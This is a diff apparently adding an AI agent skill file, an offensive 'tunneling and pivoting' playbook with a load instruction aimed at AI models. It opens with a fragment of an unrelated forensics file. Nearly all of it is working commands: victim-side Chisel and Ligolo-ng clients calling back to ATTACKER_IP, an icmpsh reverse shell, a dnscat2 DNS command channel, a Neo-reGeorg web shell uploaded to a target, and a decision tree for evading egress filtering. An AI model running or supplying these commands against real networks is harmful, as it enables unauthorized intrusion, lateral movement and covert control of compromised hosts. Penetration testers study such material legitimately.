│ └── Encrypted traffic without SNI → suspicious tunnel
|
|
336
|
+
│
|
|
337
|
+
└── Need automated extraction?
|
|
338
|
+
├── NetworkMiner for files/creds/images (§5)
|
|
339
|
+
├── tshark --export-objects for HTTP/SMB files (§6)
|
|
340
|
+
└── binwalk/foremost on exported streams (§4)
|
|
341
|
+
```
|
|
@@ -0,0 +1,343 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: tunneling-and-pivoting
|
|
3
|
+
description: >-
|
|
4
|
+
Tunneling and pivoting playbook. Use when establishing network tunnels through compromised hosts including SSH tunneling, Chisel, Ligolo-ng, socat, DNS/ICMP/HTTP tunneling, ProxyChains, and multi-layer pivoting strategies.gated: true
|
|
5
|
+
---
|
|
6
|
+
|
|
7
|
+
# SKILL: Tunneling & Pivoting — Expert Attack Playbook
|
|
8
|
+
|
|
9
|
+
> **AI LOAD INSTRUCTION**: Expert tunneling and pivoting techniques. Covers SSH port forwarding (local/remote/dynamic/jump), Chisel reverse SOCKS, Ligolo-ng transparent TUN pivoting, socat relays, DNS/ICMP/HTTP tunneling, ProxyChains configuration, Windows pivoting (netsh/plink), and multi-layer chaining. Base models miss egress-aware tool selection and transparent routing setup.
|
|
10
|
+
|
|
11
|
+
## 0. RELATED ROUTING
|
|
12
|
+
|
|
13
|
+
Before going deep, consider loading:
|
|
14
|
+
|
|
15
|
+
- [network-protocol-attacks](../network-protocol-attacks/SKILL.md) for network-level attacks from pivot positions
|
|
16
|
+
- [reverse-shell-techniques](../reverse-shell-techniques/SKILL.md) for establishing initial access shells
|
|
17
|
+
- [unauthorized-access-common-services](../unauthorized-access-common-services/SKILL.md) for exploiting services discovered through pivots
|
|
18
|
+
- [linux-privilege-escalation](../linux-privilege-escalation/SKILL.md) or [windows-privilege-escalation](../windows-privilege-escalation/SKILL.md) after pivoting to new hosts
|
|
19
|
+
|
|
20
|
+
---
|
|
21
|
+
|
|
22
|
+
## 1. SSH TUNNELING
|
|
23
|
+
|
|
24
|
+
### Local Port Forward
|
|
25
|
+
|
|
26
|
+
Forward a local port to a remote service through the pivot.
|
|
27
|
+
|
|
28
|
+
```bash
|
|
29
|
+
# Access INTERNAL_HOST:3306 via localhost:3306
|
|
30
|
+
ssh -L 3306:INTERNAL_HOST:3306 user@PIVOT -N
|
|
31
|
+
|
|
32
|
+
# Access internal web app
|
|
33
|
+
ssh -L 8080:10.10.10.100:80 user@PIVOT -N
|
|
34
|
+
# Browse: http://localhost:8080
|
|
35
|
+
|
|
36
|
+
# Bind to all interfaces (share with teammates)
|
|
37
|
+
ssh -L 0.0.0.0:8080:INTERNAL:80 user@PIVOT -N
|
|
38
|
+
```
|
|
39
|
+
|
|
40
|
+
### Remote Port Forward
|
|
41
|
+
|
|
42
|
+
Expose a local service to the pivot host's network.
|
|
43
|
+
|
|
44
|
+
```bash
|
|
45
|
+
# Make attacker's port 8000 accessible on pivot as pivot:9000
|
|
46
|
+
ssh -R 9000:127.0.0.1:8000 user@PIVOT -N
|
|
47
|
+
|
|
48
|
+
# Expose attacker's listener to internal network
|
|
49
|
+
ssh -R 0.0.0.0:4444:127.0.0.1:4444 user@PIVOT -N
|
|
50
|
+
# Internal hosts connect to PIVOT:4444 → reaches attacker:4444
|
|
51
|
+
```
|
|
52
|
+
|
|
53
|
+
### Dynamic Port Forward (SOCKS Proxy)
|
|
54
|
+
|
|
55
|
+
```bash
|
|
56
|
+
# Create SOCKS4/5 proxy on localhost:1080
|
|
57
|
+
ssh -D 1080 user@PIVOT -N
|
|
58
|
+
|
|
59
|
+
# Use with proxychains
|
|
60
|
+
echo "socks5 127.0.0.1 1080" >> /etc/proxychains4.conf
|
|
61
|
+
proxychains nmap -sT -Pn -p 80,443,445 INTERNAL_SUBNET/24
|
|
62
|
+
|
|
63
|
+
# Or with browser SOCKS proxy → browse internal web apps
|
|
64
|
+
```
|
|
65
|
+
|
|
66
|
+
### Jump Host (ProxyJump)
|
|
67
|
+
|
|
68
|
+
```bash
|
|
69
|
+
# Single jump
|
|
70
|
+
ssh -J jumphost user@TARGET
|
|
71
|
+
|
|
72
|
+
# Multiple jumps
|
|
73
|
+
ssh -J jump1,jump2 user@TARGET
|
|
74
|
+
|
|
75
|
+
# SSH config for persistent jump
|
|
76
|
+
# ~/.ssh/config
|
|
77
|
+
Host internal-target
|
|
78
|
+
HostName 10.10.10.100
|
|
79
|
+
User admin
|
|
80
|
+
ProxyJump user@jumphost.example.com
|
|
81
|
+
```
|
|
82
|
+
|
|
83
|
+
---
|
|
84
|
+
|
|
85
|
+
## 2. CHISEL
|
|
86
|
+
|
|
87
|
+
### Reverse SOCKS Proxy (Most Common)
|
|
88
|
+
|
|
89
|
+
```bash
|
|
90
|
+
# Attacker: start chisel server
|
|
91
|
+
chisel server --reverse --port 8080
|
|
92
|
+
|
|
93
|
+
# Victim: connect back as client, create reverse SOCKS
|
|
94
|
+
chisel client ATTACKER_IP:8080 R:socks
|
|
95
|
+
|
|
96
|
+
# Result: SOCKS5 proxy on attacker's 127.0.0.1:1080
|
|
97
|
+
proxychains nmap -sT -Pn INTERNAL/24
|
|
98
|
+
```
|
|
99
|
+
|
|
100
|
+
### Port Forwarding
|
|
101
|
+
|
|
102
|
+
```bash
|
|
103
|
+
# Forward specific port
|
|
104
|
+
chisel client ATTACKER:8080 R:3306:INTERNAL_DB:3306
|
|
105
|
+
|
|
106
|
+
# Multiple forwards
|
|
107
|
+
chisel client ATTACKER:8080 R:3306:DB:3306 R:8080:WEB:80
|
|
108
|
+
|
|
109
|
+
# Reverse port forward (expose attacker service to victim network)
|
|
110
|
+
chisel client ATTACKER:8080 R:0.0.0.0:4444:127.0.0.1:4444
|
|
111
|
+
```
|
|
112
|
+
|
|
113
|
+
---
|
|
114
|
+
|
|
115
|
+
## 3. LIGOLO-NG
|
|
116
|
+
|
|
117
|
+
TUN interface-based pivoting — transparent routing without SOCKS.
|
|
118
|
+
|
|
119
|
+
```bash
|
|
120
|
+
# Attacker: start proxy
|
|
121
|
+
sudo ip tuntap add user $(whoami) mode tun ligolo
|
|
122
|
+
sudo ip link set ligolo up
|
|
123
|
+
ligolo-proxy -selfcert -laddr 0.0.0.0:11601
|
|
124
|
+
|
|
125
|
+
# Agent (victim): connect to proxy
|
|
126
|
+
ligolo-agent -connect ATTACKER_IP:11601 -ignore-cert
|
|
127
|
+
|
|
128
|
+
# In ligolo-proxy console:
|
|
129
|
+
>> session # select agent session
|
|
130
|
+
>> ifconfig # view agent's network interfaces
|
|
131
|
+
>> start # start tunnel
|
|
132
|
+
|
|
133
|
+
# Add routes on attacker to reach internal networks
|
|
134
|
+
sudo ip route add 10.10.10.0/24 dev ligolo
|
|
135
|
+
sudo ip route add 172.16.0.0/16 dev ligolo
|
|
136
|
+
```
|
|
137
|
+
|
|
138
|
+
### Listener (Reverse Shell Catcher Through Pivot)
|
|
139
|
+
|
|
140
|
+
```bash
|
|
141
|
+
# In ligolo-proxy console:
|
|
142
|
+
>> listener_add --addr 0.0.0.0:4444 --to 127.0.0.1:4444 --tcp
|
|
143
|
+
# Internal hosts connecting to AGENT:4444 → forwarded to attacker:4444
|
|
144
|
+
```
|
|
145
|
+
|
|
146
|
+
### Double Pivot
|
|
147
|
+
|
|
148
|
+
```bash
|
|
149
|
+
# Agent 1 on DMZ → tunnel to internal network 1
|
|
150
|
+
# Agent 2 on internal network 1 → tunnel to internal network 2
|
|
151
|
+
# Add routes for both networks on attacker
|
|
152
|
+
sudo ip route add 10.0.0.0/24 dev ligolo # via agent 1
|
|
153
|
+
sudo ip route add 172.16.0.0/24 dev ligolo # via agent 2
|
|
154
|
+
```
|
|
155
|
+
|
|
156
|
+
---
|
|
157
|
+
|
|
158
|
+
## 4. SOCAT
|
|
159
|
+
|
|
160
|
+
```bash
|
|
161
|
+
# TCP port forward
|
|
162
|
+
socat TCP-LISTEN:8080,fork TCP:INTERNAL:80
|
|
163
|
+
|
|
164
|
+
# UDP relay
|
|
165
|
+
socat UDP-LISTEN:53,fork UDP:INTERNAL_DNS:53
|
|
166
|
+
|
|
167
|
+
# Encrypted tunnel
|
|
168
|
+
socat OPENSSL-LISTEN:443,cert=server.pem,verify=0,fork TCP:INTERNAL:80
|
|
169
|
+
|
|
170
|
+
# File transfer via socat
|
|
171
|
+
# Receiver:
|
|
172
|
+
socat TCP-LISTEN:9999,fork file:received_file,create
|
|
173
|
+
# Sender:
|
|
174
|
+
socat TCP:RECEIVER:9999 file:send_file
|
|
175
|
+
```
|
|
176
|
+
|
|
177
|
+
---
|
|
178
|
+
|
|
179
|
+
## 5. PROXYCHAINS / PROXIFIER
|
|
180
|
+
|
|
181
|
+
### ProxyChains Configuration
|
|
182
|
+
|
|
183
|
+
```ini
|
|
184
|
+
# /etc/proxychains4.conf
|
|
185
|
+
strict_chain # fail if any proxy is down
|
|
186
|
+
# dynamic_chain # skip dead proxies
|
|
187
|
+
# random_chain # randomize proxy order
|
|
188
|
+
|
|
189
|
+
[ProxyList]
|
|
190
|
+
socks5 127.0.0.1 1080 # first hop (SSH dynamic forward)
|
|
191
|
+
socks5 127.0.0.1 1081 # second hop (if chaining)
|
|
192
|
+
```
|
|
193
|
+
|
|
194
|
+
```bash
|
|
195
|
+
# Usage
|
|
196
|
+
proxychains nmap -sT -Pn -p 22,80,445 10.10.10.0/24
|
|
197
|
+
proxychains crackmapexec smb 10.10.10.0/24
|
|
198
|
+
proxychains evil-winrm -i 10.10.10.50 -u admin -p pass
|
|
199
|
+
```
|
|
200
|
+
|
|
201
|
+
---
|
|
202
|
+
|
|
203
|
+
## 6. WINDOWS PIVOTING
|
|
204
|
+
|
|
205
|
+
### Netsh Port Forwarding
|
|
206
|
+
|
|
207
|
+
```cmd
|
|
208
|
+
:: Forward port (requires admin)
|
|
209
|
+
netsh interface portproxy add v4tov4 listenport=8080 listenaddress=0.0.0.0 connectport=80 connectaddress=INTERNAL_IP
|
|
210
|
+
|
|
211
|
+
:: List forwards
|
|
212
|
+
netsh interface portproxy show all
|
|
213
|
+
|
|
214
|
+
:: Remove
|
|
215
|
+
netsh interface portproxy delete v4tov4 listenport=8080 listenaddress=0.0.0.0
|
|
216
|
+
```
|
|
217
|
+
|
|
218
|
+
### Plink (PuTTY CLI)
|
|
219
|
+
|
|
220
|
+
```cmd
|
|
221
|
+
:: Dynamic SOCKS (like ssh -D)
|
|
222
|
+
plink.exe -ssh -D 1080 -N user@ATTACKER
|
|
223
|
+
|
|
224
|
+
:: Remote port forward
|
|
225
|
+
plink.exe -ssh -R 4444:127.0.0.1:4444 user@ATTACKER
|
|
226
|
+
|
|
227
|
+
:: Automated (non-interactive, accept host key)
|
|
228
|
+
echo y | plink.exe -ssh -l user -pw password -R 9050:127.0.0.1:9050 ATTACKER
|
|
229
|
+
```
|
|
230
|
+
|
|
231
|
+
---
|
|
232
|
+
|
|
233
|
+
## 7. DNS TUNNELING
|
|
234
|
+
|
|
235
|
+
```bash
|
|
236
|
+
# iodine — IP-over-DNS
|
|
237
|
+
# Server (attacker, with NS record pointing to attacker):
|
|
238
|
+
iodined -f -c -P password 10.0.0.1 t1.yourdomain.com
|
|
239
|
+
|
|
240
|
+
# Client (victim):
|
|
241
|
+
iodine -f -P password t1.yourdomain.com
|
|
242
|
+
# Creates dns0 interface → route traffic through it
|
|
243
|
+
|
|
244
|
+
# dnscat2 — command channel over DNS
|
|
245
|
+
# Server:
|
|
246
|
+
ruby dnscat2.rb yourdomain.com
|
|
247
|
+
# Client:
|
|
248
|
+
./dnscat --dns=server=ATTACKER,port=53 --secret=SHARED_SECRET
|
|
249
|
+
```
|
|
250
|
+
|
|
251
|
+
---
|
|
252
|
+
|
|
253
|
+
## 8. ICMP TUNNELING
|
|
254
|
+
|
|
255
|
+
```bash
|
|
256
|
+
# icmpsh — ICMP reverse shell (no raw socket on victim needed for Windows)
|
|
257
|
+
# Attacker:
|
|
258
|
+
sysctl -w net.ipv4.icmp_echo_ignore_all=1
|
|
259
|
+
python3 icmpsh_m.py ATTACKER_IP VICTIM_IP
|
|
260
|
+
|
|
261
|
+
# Victim (Windows):
|
|
262
|
+
icmpsh.exe -t ATTACKER_IP
|
|
263
|
+
|
|
264
|
+
# ptunnel-ng — TCP-over-ICMP
|
|
265
|
+
# Server:
|
|
266
|
+
ptunnel-ng -r INTERNAL_HOST -R 22
|
|
267
|
+
# Client:
|
|
268
|
+
ptunnel-ng -p PIVOT_IP -l 2222 -r INTERNAL_HOST -R 22
|
|
269
|
+
ssh -p 2222 user@127.0.0.1
|
|
270
|
+
```
|
|
271
|
+
|
|
272
|
+
---
|
|
273
|
+
|
|
274
|
+
## 9. HTTP TUNNELING
|
|
275
|
+
|
|
276
|
+
```bash
|
|
277
|
+
# Neo-reGeorg — SOCKS proxy via web shell
|
|
278
|
+
# Generate tunnel web shell:
|
|
279
|
+
python3 neoreg.py generate -k PASSWORD
|
|
280
|
+
|
|
281
|
+
# Upload tunnel.php/aspx/jsp to target web server
|
|
282
|
+
|
|
283
|
+
# Connect:
|
|
284
|
+
python3 neoreg.py -k PASSWORD -u http://TARGET/tunnel.php
|
|
285
|
+
# SOCKS proxy on 127.0.0.1:1080
|
|
286
|
+
|
|
287
|
+
# Tunna — HTTP tunnel (alternative)
|
|
288
|
+
python2 proxy.py -u http://TARGET/conn.php -l 4444 -r 3389 -a INTERNAL_IP
|
|
289
|
+
```
|
|
290
|
+
|
|
291
|
+
---
|
|
292
|
+
|
|
293
|
+
## 10. PIVOTING DECISION MATRIX
|
|
294
|
+
|
|
295
|
+
| Egress Allowed | Tool | Notes |
|
|
296
|
+
|---|---|---|
|
|
297
|
+
| TCP outbound (any port) | Chisel, Ligolo-ng, SSH | Fastest setup |
|
|
298
|
+
| TCP 80/443 only | Chisel (HTTP/S), Neo-reGeorg | Blend with web traffic |
|
|
299
|
+
| DNS only (53/udp) | iodine, dnscat2 | Slow but stealthy |
|
|
300
|
+
| ICMP only | ptunnel-ng, icmpsh | Very restricted environments |
|
|
301
|
+
| No outbound | Bind shell + port forward in | Needs inbound access to pivot |
|
|
302
|
+
| Web shell only | Neo-reGeorg, Tunna | When only HTTP file upload works |
|
|
303
|
+
|
|
304
|
+
---
|
|
305
|
+
|
|
306
|
+
## 11. DECISION TREE
|
|
307
|
+
|
|
308
|
+
```
|
|
309
|
+
Compromised host — need to reach internal network
|
|
310
|
+
│
|
|
311
|
+
├── Can install tools on pivot?
|
|
312
|
+
│ ├── YES + outbound TCP allowed?
|
|
313
|
+
│ │ ├── Need transparent routing? → Ligolo-ng (§3)
|
|
314
|
+
│ │ ├── Need SOCKS proxy? → Chisel reverse SOCKS (§2)
|
|
315
|
+
│ │ └── SSH available? → SSH dynamic forward (§1)
|
|
316
|
+
│ │
|
|
317
|
+
│ ├── YES + only HTTP(S) outbound?
|
|
318
|
+
│ │ ├── Chisel over HTTPS (§2)
|
|
319
|
+
│ │ └── Upload web tunnel → Neo-reGeorg (§9)
|
|
320
|
+
│ │
|
|
321
|
+
│ ├── YES + only DNS outbound?
|
|
322
|
+
│ │ └── iodine or dnscat2 (§7)
|
|
323
|
+
│ │
|
|
324
|
+
│ └── YES + only ICMP allowed?
|
|
325
|
+
│ └── ptunnel-ng or icmpsh (§8)
|
|
326
|
+
│
|
|
327
|
+
├── Cannot install tools (web shell only)?
|
|
328
|
+
│ └── Neo-reGeorg / Tunna via web shell (§9)
|
|
329
|
+
│
|
|
330
|
+
├── Windows pivot?
|
|
331
|
+
│ ├── Admin access? → netsh portproxy (§6)
|
|
332
|
+
│ ├── SSH client available? → ssh.exe (Windows 10+) (§1)
|
|
333
|
+
│ └── Outbound SSH? → plink (§6)
|
|
334
|
+
│
|
|
335
|
+
├── Need multi-layer pivot?
|
|
336
|
+
│ ├── Ligolo-ng: multiple agents + route stacking (§3)
|
|
337
|
+
│ ├── SSH ProxyJump chaining (§1)
|
|
338
|
+
│ └── ProxyChains with multiple SOCKS (§5)
|
|
339
|
+
│
|
|
340
|
+
└── Teammate needs access too?
|
|
341
|
+
├── Bind SOCKS on 0.0.0.0 (ssh -L 0.0.0.0:...)
|
|
342
|
+
└── Share Ligolo-ng routes via common proxy
|
|
343
|
+
```
|